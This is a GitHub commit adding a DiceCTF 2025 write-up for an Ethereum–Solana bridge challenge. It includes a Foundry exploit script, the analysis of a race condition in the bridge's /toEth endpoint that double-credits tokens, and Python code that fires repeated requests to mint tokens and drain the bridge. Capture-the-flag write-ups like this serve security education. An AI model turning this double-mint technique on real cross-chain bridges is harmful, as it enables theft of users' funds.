Skip to content

Commit a6d4a3b

Browse files
committed
add dice ctf 2025 writeup
1 parent ebf1539 commit a6d4a3b

File tree

20 files changed

+2512
-0
lines changed

20 files changed

+2512
-0
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.29;
3+
4+
import {Script, console} from "forge-std/Script.sol";
5+
import {Setup, Bridge, Bubble, Feather} from "./challenge/eth/src/Setup.sol";
6+
7+
contract ExploitScript is Script {
8+
function prepare(address setupAddr) public {
9+
vm.startBroadcast();
10+
11+
address playerAddr = msg.sender;
12+
13+
Setup setup = Setup(setupAddr);
14+
Feather feather = setup.feather();
15+
Bubble bubble = setup.bubble();
16+
Bridge bridge = setup.bridge();
17+
18+
setup.airdrop();
19+
20+
assert(feather.balanceOf(playerAddr) == 10);
21+
22+
feather.approve(address(bubble), 10);
23+
bubble.wrap(10);
24+
25+
assert(bubble.balanceOf(playerAddr) == 10);
26+
27+
bubble.approve(address(bridge), 10);
28+
bridge.deposit(10);
29+
30+
vm.stopBroadcast();
31+
}
32+
33+
function solve(address setupAddr) public {
34+
vm.startBroadcast();
35+
36+
Setup setup = Setup(setupAddr);
37+
Bubble bubble = setup.bubble();
38+
Bridge bridge = setup.bridge();
39+
40+
uint256 balance = bubble.balanceOf(address(bridge));
41+
bridge.withdraw(balance);
42+
bubble.unwrap(balance);
43+
44+
vm.stopBroadcast();
45+
}
46+
}
Lines changed: 271 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,271 @@
1+
# DiceCTF 2025 Quals - Golden Bridge
2+
3+
## Overview
4+
5+
An Ethereum <> Solana bridge with the following UI is provided:
6+
7+
![](assets/ui.png)
8+
9+
A rough architecture overview:
10+
- Geth as the Ethereum node
11+
- Solana Test Validator as the Solana node
12+
- Web application built with Flask
13+
- Solidity contracts
14+
15+
There are four Solidity contracts with the following roles:
16+
- `Feather`: A basic ERC20 token
17+
- `Bubble`: A wrapped version of Feather
18+
- `Bridge`: Manages token balances on the Ethereum side
19+
- `Setup`: Deploys and manages the above contracts, and includes the `isSolved()` function
20+
21+
The goal is to make `isSolved()` return `true`. If this is achieved, the web application reveals the flag:
22+
23+
```python
24+
@app.get("/flag")
25+
def flag():
26+
try:
27+
if eth_Setup.functions.isSolved().call():
28+
return os.environ.get("FLAG", "dice{test_flag}")
29+
return "no flag for u >:D", 403
30+
except Exception:
31+
return "no flag for u >:D", 403
32+
```
33+
34+
The `Setup` contract executes the following constructor, which sends 1 billion `Bubble` tokens to the `Bridge` contract:
35+
36+
```solidity
37+
contract Setup {
38+
Feather public immutable feather;
39+
Bubble public immutable bubble;
40+
Bridge public immutable bridge;
41+
bool private airdropped;
42+
43+
constructor() {
44+
airdropped = false;
45+
uint256 liquidity = 1_000_000_000;
46+
feather = new Feather();
47+
feather.mint(address(this), liquidity);
48+
bubble = new Bubble(feather);
49+
feather.approve(address(bubble), liquidity);
50+
bubble.wrap(liquidity);
51+
bridge = new Bridge(bubble);
52+
bubble.transfer(address(bridge), liquidity);
53+
bridge.changeOwner(msg.sender);
54+
}
55+
56+
(snip)
57+
```
58+
59+
When the `Bubble` token balance in the `Bridge` contract becomes `0`, `isSolved()` returns `true`:
60+
61+
```solidity
62+
function isSolved() external view returns (bool) {
63+
return bubble.balanceOf(address(bridge)) == 0;
64+
}
65+
```
66+
67+
Additionally, the `Setup` contract provides an `airdrop()` function that grants `10 Feather` to the player:
68+
69+
```solidity
70+
function airdrop() external {
71+
if (airdropped) revert("no more airdrops :(");
72+
feather.mint(msg.sender, 10);
73+
airdropped = true;
74+
}
75+
```
76+
77+
## Solution
78+
79+
I first reviewed the `Bridge` contract and did not notice any interesting issues:
80+
81+
```solidity
82+
contract Bridge {
83+
address public owner;
84+
Bubble public immutable bubble;
85+
mapping(address => uint256) public accounts;
86+
87+
constructor(Bubble bubble_) {
88+
owner = msg.sender;
89+
bubble = bubble_;
90+
}
91+
92+
modifier onlyOwner() {
93+
require(msg.sender == owner, "not owner");
94+
_;
95+
}
96+
97+
function changeOwner(address newOwner) external onlyOwner {
98+
owner = newOwner;
99+
}
100+
101+
function deposit(uint256 amount) external {
102+
bubble.transferFrom(msg.sender, address(this), amount);
103+
accounts[msg.sender] += amount;
104+
}
105+
106+
function withdraw(uint256 amount) external {
107+
require(accounts[msg.sender] >= amount, "Insufficient BBL in Bridge");
108+
accounts[msg.sender] -= amount;
109+
bubble.transfer(msg.sender, amount);
110+
}
111+
112+
function fromBridge(address recipient, uint256 amount) external onlyOwner {
113+
accounts[recipient] += amount;
114+
}
115+
116+
function toBridge(address recipient, uint256 amount) external onlyOwner {
117+
require(accounts[recipient] >= amount, "Insufficient BBL in Bridge");
118+
accounts[recipient] -= amount;
119+
}
120+
}
121+
```
122+
123+
Then, I checked the off-chain part and suspected a potential race-condition-like behavior in the `toEth` function in the web application:
124+
125+
```python
126+
# transfer and burn $BBL on the Solana side, then
127+
# credit $BBL into the Bridge on the Ethereum side
128+
@app.post("/toEth")
129+
def toEth():
130+
try:
131+
key = request.json["key"]
132+
if not isinstance(key, str):
133+
return "Invalid key", 400
134+
amount = request.json["amount"]
135+
if not (isinstance(amount, int) and amount > 0):
136+
return "Invalid amount", 400
137+
target = request.json["target"]
138+
if not (isinstance(target, str) and target.startswith("0x")):
139+
return "Invalid target", 400
140+
141+
src = Keypair.from_json(key)
142+
src_ata = spl_token.get_associated_token_address(src.pubkey(), sol_bbl.pubkey(), TOKEN_PROGRAM_ID)
143+
if solana.get_account_info(src_ata).value is None:
144+
return "Solana account does not have an associated token account for $BBL", 400
145+
146+
# bruh SPLToken doesn't let us compose two instructions
147+
recent_blockhash = solana.get_latest_blockhash().value.blockhash
148+
ixs = [
149+
spl_token.transfer(
150+
spl_token.TransferParams(
151+
program_id=TOKEN_PROGRAM_ID,
152+
source=src_ata,
153+
dest=sol_bridge_ata,
154+
owner=src.pubkey(),
155+
amount=amount,
156+
signers=[src.pubkey()],
157+
)
158+
),
159+
spl_token.burn(
160+
spl_token.BurnParams(
161+
program_id=TOKEN_PROGRAM_ID,
162+
account=sol_bridge_ata,
163+
mint=sol_bbl.pubkey(),
164+
owner=sol_bridge.pubkey(),
165+
amount=amount,
166+
signers=[sol_bridge.pubkey()],
167+
)
168+
)
169+
]
170+
solana.send_transaction(
171+
SolanaTransaction(
172+
[sol_bridge, src],
173+
SolanaMessage.new_with_blockhash(ixs, src.pubkey(), recent_blockhash),
174+
recent_blockhash
175+
)
176+
)
177+
178+
eth_transact(eth_Bridge.functions.fromBridge(target, amount), eth_deployer)
179+
return f"Successfully transferred your $BBL!", 200
180+
except Exception as e:
181+
app.logger.error(traceback.format_exc())
182+
return str(e), 400
183+
```
184+
185+
This function bridges tokens from Solana to Ethereum by burning tokens on the Solana side and minting them on the Ethereum side:
186+
187+
```python
188+
solana.send_transaction(
189+
SolanaTransaction(
190+
[sol_bridge, src],
191+
SolanaMessage.new_with_blockhash(ixs, src.pubkey(), recent_blockhash),
192+
recent_blockhash
193+
)
194+
)
195+
196+
eth_transact(eth_Bridge.functions.fromBridge(target, amount), eth_deployer)
197+
```
198+
199+
The `eth_transact` function itself is straightforward and seems safe:
200+
201+
```python
202+
def eth_transact(fun: ContractFunction, signer: EthAccount):
203+
tx = fun.build_transaction({
204+
"from": signer.address,
205+
"nonce": w3.eth.get_transaction_count(signer.address),
206+
})
207+
tx_signed = signer.sign_transaction(tx)
208+
w3.eth.send_raw_transaction(tx_signed.raw_transaction)
209+
```
210+
211+
Also, if the Solana account lacks sufficient tokens, the transaction fails as follows:
212+
213+
```
214+
Traceback (most recent call last):
215+
File "/bridge/app.py", line 147, in toEth
216+
res = solana.send_transaction(
217+
SolanaTransaction(
218+
...<3 lines>...
219+
)
220+
)
221+
File "/usr/local/lib/python3.13/site-packages/solana/rpc/api.py", line 1004, in send_transaction
222+
return self.send_raw_transaction(bytes(txn), opts=tx_opts)
223+
~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^
224+
File "/usr/local/lib/python3.13/site-packages/solana/rpc/api.py", line 972, in send_raw_transaction
225+
resp = self._provider.make_request(body, SendTransactionResp)
226+
File "/usr/local/lib/python3.13/site-packages/solana/exceptions.py", line 45, in argument_decorator
227+
return func(*args, **kwargs)
228+
File "/usr/local/lib/python3.13/site-packages/solana/rpc/providers/http.py", line 62, in make_request
229+
return _parse_raw(raw, parser=parser)
230+
File "/usr/local/lib/python3.13/site-packages/solana/rpc/providers/core.py", line 98, in _parse_raw
231+
raise RPCException(parsed)
232+
solana.rpc.core.RPCException: SendTransactionPreflightFailureMessage { message: "Transaction simulation failed: Error processing Instruction 0: custom program error: 0x1", data: RpcSimulateTransactionResult(RpcSimulateTransactionResult { err: Some(InstructionError(0, Custom(1))), logs: Some(["Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA invoke [1]", "Program log: Instruction: Transfer", "Program log: Error: insufficient funds", "Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA consumed 4381 of 400000 compute units", "Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA failed: custom program error: 0x1"]), accounts: None, units_consumed: Some(4381), return_data: None, inner_instructions: None, replacement_blockhash: None }) }
233+
```
234+
235+
However, this validation is insufficient and vulnerable. If the function is called twice rapidly, the last call may use outdated state, bypassing the intended checks.
236+
As a result, it becomes possible to mint more tokens on Ethereum than actually burned on Solana. For example:
237+
- A player holding `1 Bubble` calls `toEth` twice nearly simultaneously with `amount = 1`.
238+
- Due to outdated state in the `send_transaction` call, the `insufficient funds error` does not occur.
239+
- Consequently, the Ethereum-side minting happens twice, resulting in `2 Bubble`.
240+
241+
By exploiting this vulnerability, tokens can be doubled repeatedly, effectively allowing for **infinite minting**. Using this method, I multiplied the tokens tenfold at each step:
242+
243+
```python
244+
# toSol
245+
payload = {
246+
"key": info["ethereum"]["private_key"],
247+
"amount": balance,
248+
"target": info["solana"]["pubkey"],
249+
}
250+
headers = {"Content-Type": "application/json"}
251+
httpx.post(f"{INSTANCE_URL}/toSol", json=payload, headers=headers)
252+
253+
time.sleep(20)
254+
255+
# toEth
256+
for j in tqdm(range(10)):
257+
payload = {
258+
"key": str(info["solana"]["keypair"]),
259+
"amount": balance,
260+
"target": info["ethereum"]["address"],
261+
}
262+
headers = {"Content-Type": "application/json"}
263+
httpx.post(f"{INSTANCE_URL}/toEth", json=payload, headers=headers)
264+
```
265+
266+
With the infinitely minted tokens, it becomes possible to drain all `Bubble` tokens from the `Bridge`. The final solver was divided into several components:
267+
- [solve.fish](./solve.fish): The overall solver script
268+
- [Exploit.s.sol](./Exploit.s.sol): Handles smart contract interactions
269+
- [race.py](./race.py): Triggers the race-condition-like bug and performs infinite minting
270+
271+
Flag: `dice{https://www.youtube.com/watch?v=iRJB6DotUsU&si=dicectf2025_cAdPaVDd8mI}`
Lines changed: 3 additions & 0 deletions
Loading
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
**/__pycache__
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
FROM python:3.13-slim-bookworm
2+
3+
# Install dependencies
4+
RUN apt update && apt install curl tar git jq procps nginx parallel -y
5+
RUN curl https://gethstore.blob.core.windows.net/builds/geth-linux-amd64-1.15.6-19d2b4c8.tar.gz -o geth.tar.gz && \
6+
tar xf geth.tar.gz && \
7+
mkdir /root/geth && \
8+
mv geth-linux-amd64-1.15.6-19d2b4c8/geth /root/geth/geth && \
9+
rm -rf geth.tar.gz geth-linux-amd64-1.15.6-19d2b4c8
10+
RUN curl -sSfL https://release.anza.xyz/v2.1.16/install | bash
11+
RUN curl -L https://foundry.paradigm.xyz | bash
12+
ENV PATH="$PATH:/root/geth:/root/.local/share/solana/install/releases/2.1.16/solana-release/bin:/root/.foundry/bin"
13+
RUN foundryup
14+
COPY requirements.txt requirements.txt
15+
RUN pip install --no-cache-dir -r requirements.txt && rm requirements.txt
16+
COPY nginx.conf /etc/nginx/nginx.conf
17+
18+
# Build Ethereum side
19+
WORKDIR /eth
20+
ADD https://github.com/foundry-rs/forge-std.git#6853b9ec7df5dc0c213b05ae67785ad4f4baa0ea /eth/lib/forge-std
21+
ADD https://github.com/OpenZeppelin/openzeppelin-contracts.git#a31b4a438ad9b11368976140acd7da3ae27d717d /eth/lib/openzeppelin-contracts
22+
COPY eth/src /eth/src
23+
COPY eth/foundry.toml /eth
24+
RUN forge build
25+
COPY eth/run.sh /eth
26+
27+
# "Build" Solana side
28+
WORKDIR /sol
29+
COPY sol/run.sh /sol
30+
31+
# Build frontend
32+
WORKDIR /bridge
33+
COPY bridge/templates/ /bridge/templates
34+
COPY bridge/app.py /bridge
35+
36+
# Put it all together
37+
WORKDIR /
38+
EXPOSE 5000
39+
COPY launcher.py /
40+
CMD [ \
41+
"parallel", \
42+
"--line-buffer", \
43+
"--tagstring", "{= $_ = \"\\033[0;3\" . (\"2m[nginx]\", \"5m[ethereum]\", \"6m[solana]\", \"3m[bridge]\")[seq() - 1] . \"\\033[0m\" =}", \
44+
":::", \
45+
"nginx -g 'daemon off;'", \
46+
"bash -c 'cd /eth && ./run.sh'", \
47+
"bash -c 'cd /sol && ./run.sh'", \
48+
"python3 launcher.py" \
49+
]

0 commit comments

Comments
 (0)